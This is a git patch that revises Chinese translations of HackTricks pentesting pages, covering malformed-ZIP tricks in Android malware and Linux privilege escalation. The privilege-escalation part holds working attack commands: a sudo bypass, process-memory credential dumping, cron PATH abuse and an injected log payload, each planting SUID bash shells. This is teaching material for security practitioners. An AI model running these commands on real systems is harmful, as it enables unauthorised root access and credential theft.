From 8246afa30b9a0f9e530fadba07c75d7b0e93e60c Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 00:40:55 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/silv --- .../zips-tricks.md | 58 +- .../privilege-escalation/README.md | 546 ++++++++-------- .../android-app-pentesting/README.md | 498 +++++++------- .../pentesting-mysql.md | 117 ++-- ...object-creation-new-usd_get-a-usd_get-b.md | 62 +- .../pentesting-web/spring-actuators.md | 64 +- .../README.md | 312 ++++----- src/pentesting-web/file-inclusion/README.md | 301 +++++---- .../file-inclusion/lfi2rce-via-php-filters.md | 32 +- src/pentesting-web/file-upload/README.md | 168 +++-- .../kerberos-authentication.md | 4 +- .../password-spraying.md | 87 ++- .../silver-ticket.md | 70 +- .../README.md | 167 ++--- .../checklist-windows-privilege-escalation.md | 92 +-- .../README.md | 609 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 98 +-- .../juicypotato.md | 88 +-- 18 files changed, 1678 insertions(+), 1695 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index bddef4444..f109c8d39 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,37 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -**命令行工具** 用于管理 **zip files**,对诊断、修复和破解 zip files 至关重要。下面是一些关键的实用程序: +**命令行工具** 用于管理 **zip 文件** 对诊断、修复和破解 zip 文件至关重要。以下是一些关键实用程序: - **`unzip`**:显示 zip 文件无法解压的原因。 - **`zipdetails -v`**:提供对 zip 文件格式字段的详细分析。 -- **`zipinfo`**:在不解压的情况下列出 zip 文件的内容。 +- **`zipinfo`**:列出 zip 文件的内容而不解压它们。 - **`zip -F input.zip --out output.zip`** 和 **`zip -FF input.zip --out output.zip`**:尝试修复损坏的 zip 文件。 -- **[fcrackzip](https://github.com/hyc/fcrackzip)**:用于对 zip 密码进行暴力破解的工具,对大约 7 个字符以内的密码有效。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**:一个用于对 zip 密码进行暴力破解的工具,对大约 7 个字符左右的密码有效。 -[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供了关于 zip files 结构和标准的全面细节。 +该 [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供关于 zip 文件结构和标准的全面细节。 -需要注意的是,受密码保护的 zip files **不会加密文件名或文件大小**,这是一个安全缺陷,RAR 或 7z 文件可以加密这些信息。进一步地,使用较旧的 ZipCrypto 方法加密的 zip files 如果存在未加密的压缩文件副本,则容易遭受 **plaintext attack**。该攻击利用已知内容来破解 zip 的密码,相关漏洞在 [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有描述,并在 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中有更详细的解释。然而,使用 **AES-256** 加密的 zip files 对该 plaintext attack 免疫,这凸显了为敏感数据选择安全加密方法的重要性。 +需要注意的是,受密码保护的 zip 文件 **不会对其中的文件名或文件大小进行加密**,这是一个安全缺陷,RAR 或 7z 等格式通过加密这些信息避免了该问题。此外,使用较旧的 ZipCrypto 方法加密的 zip 文件在存在某个压缩文件的未加密副本时容易受到 **plaintext attack**。该攻击利用已知内容来破解 zip 的密码,这一漏洞在 [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有详细说明,并在 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中进一步解释。然而,使用 **AES-256** 加密的 zip 文件对这种 plaintext attack 免疫,凸显为敏感数据选择安全加密方法的重要性。 --- -## 在 APKs 中使用篡改的 ZIP 头的反逆向技巧 +## 在 APK 中使用被操纵的 ZIP 头部的反逆向技巧 -现代 Android 恶意软件 dropper 会使用畸形的 ZIP 元数据来破坏静态工具(jadx/apktool/unzip),同时保持 APK 在设备上可安装。最常见的技巧有: +现代 Android 恶意软件 dropper 使用畸形的 ZIP 元数据来破坏静态工具(jadx/apktool/unzip),同时保持 APK 可在设备上安装。最常见的技巧包括: -- 通过设置 ZIP General Purpose Bit Flag (GPBF) 的位 0 来伪装加密 +- 通过设置 ZIP General Purpose Bit Flag (GPBF) 的第 0 位来伪造加密 - 滥用大型/自定义 Extra 字段以混淆解析器 -- 通过文件/目录名冲突来隐藏真实工件(例如,在真实的 `classes.dex` 旁边放置一个名为 `classes.dex/` 的目录) +- 文件/目录名冲突以隐藏真实痕迹(例如,在真实的 `classes.dex` 旁边有一个名为 `classes.dex/` 的目录) -### 1) 伪装加密(设置 GPBF 位 0)但没有真实加密 +### 1) 伪造加密(设置 GPBF 第 0 位)但没有真正的加密 症状: -- `jadx-gui` 会报错,例如: +- `jadx-gui` 会出现类似错误: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` 会提示输入核心 APK 文件的密码,尽管有效的 APK 不能对 `classes*.dex`, `resources.arsc`, 或 `AndroidManifest.xml` 进行加密: +- `unzip` 会针对核心 APK 文件提示输入密码,尽管有效的 APK 不可能对 `classes*.dex`, `resources.arsc`, 或 `AndroidManifest.xml` 进行加密: ```bash unzip sample.apk @@ -47,7 +47,7 @@ Detection with zipdetails: ```bash zipdetails -v sample.apk | less ``` -查看本地和中央头部的通用用途位标志 (General Purpose Bit Flag)。一个明显的值是位 0 被设置 (Encryption),即使对于核心条目也是如此: +查看本地文件头和中央目录头的通用用途位标志。一个明显的值是即使对于核心条目也设置了 bit 0(Encryption): ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -启发式:如果 APK 在设备上安装并运行,但工具显示核心条目“加密”,则 GPBF 被篡改。 +启发式:如果一个 APK 能在设备上安装并运行,但在工具中核心条目显示为“加密”,则 GPBF 已被篡改。 -修复方法:在 Local File Headers (LFH) 和 Central Directory (CD) 条目中清除 GPBF 的 bit 0。最小 byte-patcher: +通过清除 Local File Headers (LFH) 和 Central Directory (CD) 条目中的 GPBF bit 0 来修复。最小字节补丁程序: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -89,38 +89,38 @@ data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8 open(outp, 'wb').write(data) print(f'Patched: LFH={p_lfh}, CDH={p_cdh}') ``` -使用: +用法: ```bash python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` 你现在应该会在核心条目上看到 `General Purpose Flag 0000`,工具将再次解析 APK。 -### 2) 大型/自定义 Extra 字段以破坏解析器 +### 2) 大/自定义 Extra fields 来破坏 parsers -攻击者会在 header 中填充超大的 Extra 字段和奇怪的 ID 来触发反编译器错误。在野外样本中你可能会看到嵌入的自定义标记(例如像 `JADXBLOCK` 这样的字符串)。 +攻击者会将超大的 Extra fields 和奇怪的 ID 塞入 headers 以诱发 decompilers。在实战中你可能会看到自定义标记(例如像 `JADXBLOCK` 这样的字符串)嵌入其中。 检查: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -观察到的示例:未知 ID,如 `0xCAFE`("Java Executable")或 `0x414A`("JA:")携带大量 payloads。 +观察到的示例:未知 ID,例如 `0xCAFE`("Java Executable")或 `0x414A`("JA:")承载大量 payload。 -DFIR 启发式规则: -- 当核心条目的 Extra fields 异常大时发出警报(`classes*.dex`、`AndroidManifest.xml`、`resources.arsc`)。 +DFIR heuristics: +- 当核心条目的 Extra fields 异常大时触发告警(`classes*.dex`、`AndroidManifest.xml`、`resources.arsc`)。 - 将这些条目上的未知 Extra IDs 视为可疑。 -实用缓解措施:重建归档(例如,重新压缩提取的文件)会移除恶意的 Extra fields。如果工具因假加密而拒绝提取,先如上清除 GPBF bit 0,然后重新打包: +实际缓解措施:重建归档(例如,重新压缩已解压的文件)会去除恶意的 Extra 字段。如果工具因伪造的加密而拒绝解压,先如上清除 GPBF bit 0,然后重新打包: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) 文件/目录 名称冲突(隐藏真实痕迹) +### 3) 文件/目录名称冲突(隐藏真实工件) -一个 ZIP 可以同时包含文件 `X` 和目录 `X/`。某些解压器和反编译器会混淆,可能会用目录条目覆盖或隐藏真实文件。已观察到条目与像 `classes.dex` 这样的核心 APK 名称发生冲突。 +ZIP 可以同时包含文件 `X` 和目录 `X/`。某些提取器和反编译器可能会混淆,并可能用目录条目覆盖或隐藏真实文件。已在与核心 APK 名称(如 `classes.dex`)冲突的条目中观察到这种情况。 -初步评估与安全提取: +分类与安全提取: ```bash # List potential collisions (names that differ only by trailing slash) zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d @@ -148,10 +148,10 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Blue-team detection ideas: -- 标记那些本地头部标记为加密 (GPBF bit 0 = 1) 但仍可安装/运行的 APKs。 -- 标记核心条目上大型或未知的 Extra fields(检查类似 `JADXBLOCK` 的标记)。 -- 标记路径冲突 (`X` 和 `X/`),尤其是对 `AndroidManifest.xml`、`resources.arsc`、`classes*.dex`。 +Blue-team 检测思路: +- 标记本地头部标记为加密 (GPBF bit 0 = 1) 但仍能安装/运行的 APKs。 +- 标记核心条目上较大/未知的 Extra fields(查找像 `JADXBLOCK` 之类的标记)。 +- 标记路径冲突 (`X` 和 `X/`),特别针对 `AndroidManifest.xml`、`resources.arsc`、`classes*.dex`。 --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 37ba36c17..06ed669ca 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### 操作系统信息 -让我们开始了解正在运行的操作系统 +让我们开始收集一些关于正在运行的操作系统的信息。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### 路径 -如果你 **对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持某些库或二进制文件: +如果你**对 `PATH` 变量内的任意文件夹有写权限**,你可能能够 hijack 某些 libraries 或 binaries: ```bash echo $PATH ``` ### 环境信息 -环境变量中有敏感信息、密码或 API 密钥吗? +环境变量中有有趣的信息、密码或 API keys 吗? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查内核版本,查看是否存在可用于 escalate privileges 的 exploit +检查 kernel 版本,查看是否存在可用于 escalate privileges 的 exploit ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个不错的漏洞内核列表以及一些 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 以及 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +你可以在这里找到一个很好的易受攻击的内核列表和一些已经存在的 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ 其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有漏洞内核版本,你可以这样做: +要从该网站提取所有易受攻击的内核版本,你可以这么做: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -以下工具可用于搜索内核漏洞: +下面这些工具可帮助查找 kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行,仅检测针对 kernel 2.x 的 exploits) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行,仅检查针对 kernel 2.x 的 exploits) -始终 **在 Google 上搜索内核版本**,也许你的 kernel version 写在某个 kernel exploit 中,这样你就能确定该 exploit 是否有效。 +始终 **在 Google 上搜索 kernel 版本**,也许你的 kernel 版本被写在某个 kernel exploit 中,这样你就能确定该 exploit 是否有效。 ### CVE-2016-5195 (DirtyCow) @@ -63,7 +63,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ```bash searchsploit sudo ``` -你可以使用这个 grep 检查 sudo 版本是否存在漏洞。 +你可以使用这个 grep 来检查 sudo 的版本是否存在漏洞。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -查看 **smasher2 box of HTB**,获取关于如何利用此 vuln 的 **示例**。 +查看 **smasher2 box of HTB** 以获取关于如何利用此 vuln 的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 枚举可能的防御措施 +## 列举可能的防御措施 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在 docker 容器内,你可以尝试从中逃逸: +If you are inside a docker container you can try to escape from it: {{#ref}} @@ -132,69 +132,69 @@ docker-security/ ## 驱动器 -检查 **哪些已挂载和未挂载**、位置和原因。如果有任何未挂载的项,你可以尝试将其挂载并检查敏感信息 +检查 **哪些已挂载或未挂载**、在哪里以及为什么。如果有任何未挂载的内容,你可以尝试将其挂载并检查是否包含敏感信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用软件 +## 有用的软件 枚举有用的二进制文件 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -另外,检查 **是否安装了任何 compiler**。如果你需要使用某些 kernel exploit,这很有用,因为建议在你将要使用它的机器(或在一台类似的机器)上进行编译。 +此外,检查是否安装了 **任何编译器**。这在你需要使用一些 kernel exploit 时很有用,因为建议在将要使用它的机器上(或在相似的机器上)编译它。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 已安装的易受攻击软件 -检查**已安装的软件包和服务的版本**。可能存在一些旧版 Nagios(例如),可被利用以提升权限……\ -建议手动检查可疑已安装软件的版本。 +检查 **已安装软件包和服务的版本**。可能存在一些过时的 Nagios 版本(例如),可被利用来进行 escalating privileges…\ +建议手动检查更可疑的已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +如果你有对该机器的 SSH 访问权限,你也可以使用 **openVAS** 来检查机器中已安装的过时或存在漏洞的软件。 -> [!NOTE] > _注意:这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似工具,来检查已安装的软件版本是否易受已知漏洞利用。_ +> [!NOTE] > _请注意,这些命令会显示大量信息,其中大多无关紧要,因此建议使用像 OpenVAS 或类似的应用来检查已安装的软件版本是否容易受到 known exploits 的影响_ -## Processes +## 进程 -查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **超过其应有的权限**(例如由 root 执行的 tomcat?) +查看正在执行的 **哪些进程** 并检查是否有任何进程拥有 **超过应有的权限**(例如由 root 执行的 tomcat?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ -也要 **检查你对进程二进制文件的权限**,或许你可以覆盖某些文件。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### 进程监控 +### Process monitoring -你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别频繁执行或在满足一组条件时被运行的易受攻击进程时非常有用。 +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。 这对于识别经常被执行的或在满足某些条件时运行的易受攻击的进程非常有用。 -### 进程内存 +### Process memory -一些服务器服务会将 **credentials 以明文保存在内存中**。\ -通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 时更有用,用来发现更多 credentials。\ -但是,请记住,**作为普通用户,你可以读取你拥有的进程的内存**。 +服务器上的某些服务会将 **凭证以明文保存在内存中**。\ +通常你将需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 并想发现更多凭证时更有用。\ +然而,记住 **作为普通用户你可以读取你自己拥有的进程的内存**。 > [!WARNING] -> 注意,如今大多数机器 **默认不允许 ptrace**,这意味着你无法 dump 属于其他非特权用户的进程。 +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. 这是 ptrace 传统的工作方式。 +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +如果你能访问(例如)FTP 服务的内存,你可以获取 Heap 并在其中搜索凭证。 ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示了该进程的虚拟地址空间中内存如何被映射**;它还显示了 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来 **seek into the mem file and dump all readable regions** 到一个文件中。 +对于给定的进程 ID,**maps 显示该进程的内存如何映射** 到其虚拟地址空间;它还显示了 **每个映射区域的权限**。**mem** 伪文件 **暴露了该进程的内存本身**。从 **maps** 文件我们可以知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来 **定位到 mem 文件并将所有可读区域转储到文件中**。 ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ -通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 +`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ +通常,`/dev/mem` 只有 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump(用于 linux) -ProcDump 是对经典 ProcDump 工具(来自 Windows 的 Sysinternals 工具套件)在 Linux 上的重新构想。可从 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取 +ProcDump 是 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 ``` procdump -p 1714 @@ -267,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### 工具 -要 dump 进程内存,你可以使用: +要转储进程内存,你可以使用: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并 dump 你拥有的进程 +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动移除对 root 的要求并转储由您拥有的进程 - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) -### 从进程内存获取凭证 +### Credentials from Process Memory #### 手动示例 @@ -282,16 +282,16 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump the process(参见前面的章节以找到不同的方法来 dump the memory of a process)并在内存中搜索凭证: +你可以 dump the process(参见前面的章节以找到不同的方法来 dump the memory of a process)并在 memory 中搜索 credentials: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **从内存中窃取明文凭证** 并从一些 **常见文件** 中窃取。它需要 root 权限才能正常工作。 +该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**,并从一些 **常见文件** 中窃取。它需要 root 权限才能正常工作。 -| 功能 | 进程名称 | +| 功能 | 进程名 | | ------------------------------------------------- | -------------------- | | GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +300,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### 搜索 正则表达式/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 定时/Cron jobs +## 定时/Cron 任务 -检查是否有任何定时任务存在漏洞。也许你可以利用由 root 执行的脚本 (wildcard vuln? 能修改 root 使用的文件吗? 使用 symlinks? 在 root 使用的目录中创建特定文件?) +检查是否有任何定时任务存在漏洞。也许你可以利用被 root 执行的脚本 (wildcard vuln? 可以修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -326,24 +326,24 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul 例如,在 _/etc/crontab_ 中你可以找到 PATH:_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意 user 用户对 /home/user 有写权限_) +(_注意用户 "user" 对 /home/user 具有写权限_) -如果在该 crontab 中 root 用户尝试执行某个命令或脚本但未设置 PATH。例如: _\* \* \* \* root overwrite.sh_\ -那么,你可以通过使用以下方法获得 root shell: +如果在这个 crontab 中 root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\ +然后,你可以使用以下方法获得一个 root shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron 使用带有通配符的脚本 (Wildcard Injection) -如果由 root 执行的脚本在命令中包含 “**\***”,你可以利用它来引发意外行为(例如 privesc)。示例: +如果某个由 root 执行的脚本在命令中包含 “**\***”,你可以利用它来触发意外行为(例如 privesc)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,它就不会被利用(甚至** _**./\***_ **也不会)。** +**如果通配符前面是像** _**/some/path/\***_ **这样的路径,则不易受影响(即使** _**./\***_ **也不)。** -Read the following page for more wildcard exploitation tricks: +阅读以下页面以获取更多通配符利用技巧: {{#ref}} @@ -351,13 +351,13 @@ wildcards-spare-tricks.md {{#endref}} -### Bash 算术扩展注入在 cron 日志解析器中 +### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...))、$((...)) 和 let 中,在算术求值之前会执行 parameter expansion 和 command substitution。如果一个以 root 身份运行的 cron/parser 读取不受信任的日志字段并将其传入算术上下文,攻击者可以注入一个 command substitution $(...),在 cron 运行时以 root 身份执行。 +Bash 在 ((...)), $((...)) 和 let 中的 arithmetic evaluation 之前,会先执行 parameter expansion 和 command substitution。如果一个以 root 身份运行的 cron/parser 从日志读取未受信任的字段并将其传入算术上下文,攻击者可以注入一个 command substitution $(...),当 cron 运行时该命令会以 root 身份执行。 -- Why it works: 在 Bash 中,expansions 的执行顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。因此像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 被用于算术运算,脚本因此不会出错。 +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. -- Typical vulnerable pattern: +- 典型的易受攻击的模式: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: 让 attacker-controlled 的文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 且以数字结尾。确保你的命令不向 stdout 输出(或将其重定向),这样算术运算仍然有效。 +- 利用:让可被攻击者控制的文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不会向 stdout 输出(或将输出重定向),以便算术运算仍然有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -如果你 **能修改一个由 root 执行的 cron script**,就可以非常容易地获得一个 shell: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的 script 使用了一个你拥有 **directory where you have full access**,删除该文件夹并 **create a symlink folder to another one**(指向你控制的 script)可能会很有用。 +如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个 symlink 文件夹指向另一个** 来托管由你控制的脚本可能会很有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监视进程以查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它来提升权限。 +你可以监控进程,以查找每隔 1、2 或 5 分钟执行的进程。或许你可以利用它来 escalate privileges。 -例如,要 **在 1 分钟内每 0.1 秒监视一次**、**按执行次数较少排序命令** 并删除执行次数最多的命令,你可以执行: +例如,要 **在 1 分钟内每 0.1s 监控一次**,**按执行次数最少排序** 并删除执行次数最多的命令,你可以执行: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监视并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (它会监视并列出每个启动的进程). -### 隐形 cron jobs +### 不可见的 cron jobs -可以创建一个 cronjob,通过**在注释后放置回车**(不带换行字符),cron job 仍然会生效。示例(注意回车字符): +有可能创建一个 cronjob,**在注释后放置回车符**(没有换行字符),cron job 仍然会生效。示例(注意回车字符): ```bash #This is a comment inside a cron config file\r* * * * * 